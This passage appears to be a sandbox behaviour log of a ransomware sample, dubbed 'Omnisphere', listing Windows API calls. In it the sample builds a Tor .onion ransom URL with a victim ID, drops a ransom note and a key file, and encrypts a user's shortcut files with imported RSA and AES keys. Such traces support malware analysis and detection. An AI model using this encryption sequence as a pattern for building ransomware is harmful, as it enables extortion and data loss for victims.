WriteFile (in: hFile=0x3c0, lpBuffer=0x3e0d274*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0d25c, lpOverlapped=0x0 | out: lpBuffer=0x3e0d274*, lpNumberOfBytesWritten=0x3e0d25c*=0x524, lpOverlapped=0x0) returned 1 [0126.881] CloseHandle (hObject=0x3c0) returned 1 [0126.881] UnmapViewOfFile (lpBaseAddress=0x1480000) returned 1 [0126.881] CloseHandle (hObject=0x288) returned 1 [0126.881] SetEndOfFile (hFile=0x28c) returned 1 [0126.881] FlushFileBuffers (hFile=0x28c) returned 1 [0126.886] CloseHandle (hObject=0x28c) returned 1 [0126.886] PathRemoveFileSpecW (in: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\PXK c4e_XP6QO.lnk" | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent") returned 1 [0126.886] GetProcessHeap () returned 0x1600000 [0126.886] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x515) returned 0x16ef310 [0126.886] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0126.886] GetProcessHeap () returned 0x1600000 [0126.886] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x1f) returned 0x16d5988 [0126.886] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x16d5988, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="http://uu6issmbncd3wjkm.onion/", lpUsedDefaultChar=0x0) returned 30 [0126.886] lstrcatA (in: lpString1="", lpString2="http://uu6issmbncd3wjkm.onion/" | out: lpString1="http://uu6issmbncd3wjkm.onion/") returned="http://uu6issmbncd3wjkm.onion/" [0126.886] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0126.886] GetProcessHeap () returned 0x1600000 [0126.886] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x11) returned 0x16d7fc8 [0126.886] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x16d7fc8, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="RHPZ2AXYR2V4JCIV", lpUsedDefaultChar=0x0) returned 16 [0126.887] lstrcatA (in: lpString1="http://uu6issmbncd3wjkm.onion/", lpString2="RHPZ2AXYR2V4JCIV" | out: lpString1="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV") returned="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV" [0126.887] GetProcessHeap () returned 0x1600000 [0126.887] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xb0) returned 0x16d8d78 [0126.887] PathCombineW (in: pszDest=0x16d8d78, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent", pszFile="!DECRYPT_OMNISPHERE.txt" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\!DECRYPT_OMNISPHERE.txt") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\!DECRYPT_OMNISPHERE.txt" [0126.887] GetProcessHeap () returned 0x1600000 [0126.887] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x589) returned 0x16dad88 [0126.887] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\!DECRYPT_OMNISPHERE.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\!decrypt_omnisphere.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0126.887] WriteFile (in: hFile=0x28c, lpBuffer=0x16dad88*, nNumberOfBytesToWrite=0x588, lpNumberOfBytesWritten=0x3e0d7f4, lpOverlapped=0x0 | out: lpBuffer=0x16dad88*, lpNumberOfBytesWritten=0x3e0d7f4*=0x588, lpOverlapped=0x0) returned 1 [0126.887] CloseHandle (hObject=0x28c) returned 1 [0126.887] GetProcessHeap () returned 0x1600000 [0126.887] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x16ef310 | out: hHeap=0x1600000) returned 1 [0126.887] GetProcessHeap () returned 0x1600000 [0126.887] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xa6) returned 0x162e998 [0126.887] PathCombineW (in: pszDest=0x162e998, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent", pszFile="unique_decrypt.key" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\unique_decrypt.key") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\unique_decrypt.key" [0126.887] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\unique_decrypt.key" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\unique_decrypt.key"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0126.888] WriteFile (in: hFile=0x28c, lpBuffer=0x1647c78*, nNumberOfBytesToWrite=0x5a0, lpNumberOfBytesWritten=0x3e0d808, lpOverlapped=0x0 | out: lpBuffer=0x1647c78*, lpNumberOfBytesWritten=0x3e0d808*=0x5a0, lpOverlapped=0x0) returned 1 [0126.888] CloseHandle (hObject=0x28c) returned 1 [0126.888] GetProcessHeap () returned 0x1600000 [0126.888] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x162e998 | out: hHeap=0x1600000) returned 1 [0126.888] GetProcessHeap () returned 0x1600000 [0126.888] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x162cec8 | out: hHeap=0x1600000) returned 1 [0126.888] FindNextFileW (in: hFindFile=0x16397a8, lpFindFileData=0x3e0daa4 | out: lpFindFileData=0x3e0daa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x206c9235, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x206c9235, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x206c9235, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x51a, dwReserved0=0x0, dwReserved1=0xd3, cFileName="q8ta-bWT2WxX6T.lnk", cAlternateFileName="Q8TA-B~1.LNK")) returned 1 [0126.888] GetProcessHeap () returned 0x1600000 [0126.888] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xa6) returned 0x162cec8 [0126.888] PathCombineW (in: pszDest=0x162cec8, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent", pszFile="q8ta-bWT2WxX6T.lnk" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\q8ta-bWT2WxX6T.lnk") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\q8ta-bWT2WxX6T.lnk" [0126.888] StrStrW (lpFirst=".omnisphere", lpSrch=".lnk") returned 0x0 [0126.888] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\q8ta-bWT2WxX6T.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\q8ta-bwt2wxx6t.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x5, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0126.888] GetFileSizeEx (in: hFile=0x28c, lpFileSize=0x3e0d7cc | out: lpFileSize=0x3e0d7cc*=1306) returned 1 [0126.888] GetTickCount () returned 0x115fa99 [0126.888] GetTickCount () returned 0x115fa99 [0126.888] GetTickCount () returned 0x115fa99 [0126.888] GetTickCount () returned 0x115fa99 [0126.889] GetTickCount () returned 0x115fa99 [0126.889] GetTickCount () returned 0x115fa99 [0126.889] GetTickCount () returned 0x115fa99 [0126.889] GetTickCount () returned 0x115fa99 [0126.889] GetTickCount () returned 0x115fa99 [0126.889] GetTickCount () returned 0x115fa99 [0126.889] GetTickCount () returned 0x115fa99 [0126.889] GetTickCount () returned 0x115fa99 [0126.889] GetTickCount () returned 0x115fa99 [0126.889] GetTickCount () returned 0x115fa99 [0126.889] GetTickCount () returned 0x115faa8 [0126.889] GetTickCount () returned 0x115faa8 [0126.889] GetTickCount () returned 0x115faa8 [0126.889] GetTickCount () returned 0x115faa8 [0126.889] GetTickCount () returned 0x115faa8 [0126.889] GetTickCount () returned 0x115faa8 [0126.889] GetTickCount () returned 0x115faa8 [0126.889] GetTickCount () returned 0x115faa8 [0126.889] GetTickCount () returned 0x115faa8 [0126.889] GetTickCount () returned 0x115faa8 [0126.889] GetTickCount () returned 0x115faa8 [0126.889] GetTickCount () returned 0x115faa8 [0126.889] GetTickCount () returned 0x115faa8 [0126.889] GetTickCount () returned 0x115faa8 [0126.889] GetTickCount () returned 0x115faa8 [0126.889] GetTickCount () returned 0x115faa8 [0126.889] GetTickCount () returned 0x115faa8 [0126.890] GetTickCount () returned 0x115faa8 [0126.890] CryptAcquireContextW (in: phProv=0x3e0d254, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x3e0d254*=0x1668f00) returned 1 [0126.890] CryptImportKey (in: hProv=0x1668f00, pbData=0x3e0d1bc, dwDataLen=0x94, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0d260 | out: phKey=0x3e0d260*=0x1639b28) returned 1 [0126.890] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3e0d70c*, pdwDataLen=0x3e0d250*=0x75, dwBufLen=0x80 | out: pbData=0x3e0d70c*, pdwDataLen=0x3e0d250*=0x80) returned 1 [0126.890] CryptDestroyKey (hKey=0x1639b28) returned 1 [0126.890] CryptReleaseContext (hProv=0x1668f00, dwFlags=0x0) returned 1 [0126.890] CreateFileMappingW (hFile=0x28c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x51a, lpName=0x0) returned 0x288 [0126.890] MapViewOfFile (hFileMappingObject=0x288, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x51a) returned 0x1480000 [0126.891] CryptAcquireContextW (in: phProv=0x3e0d244, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000040 | out: phProv=0x3e0d244*=0x1668240) returned 1 [0126.891] CryptImportKey (in: hProv=0x1668240, pbData=0x3e0d1fc, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0d254 | out: phKey=0x3e0d254*=0x1639b28) returned 1 [0126.891] CryptSetKeyParam (hKey=0x1639b28, dwParam=0x4, pbData=0x3e0d238*=0x2, dwFlags=0x0) returned 1 [0126.891] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x3e0d240*=0x10, dwBufLen=0x10 | out: pbData=0x0*, pdwDataLen=0x3e0d240*=0x10) returned 1 [0126.891] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.891] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.891] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.891] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.891] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.891] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.891] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.891] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.892] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.892] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.892] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.892] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.892] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.892] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.892] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.892] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.892] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.892] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.892] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.892] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.892] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.892] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.892] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.892] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.892] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.892] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.892] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.892] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.892] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.892] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.892] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.892] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.892] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.893] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.893] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.893] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.893] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.893] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.893] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.893] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.893] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.893] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.893] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.893] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.893] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.893] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.893] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.893] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.893] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.893] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.893] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.893] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.893] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.893] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.893] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.893] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.893] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.893] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.893] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.894] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.894] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.894] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.894] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: 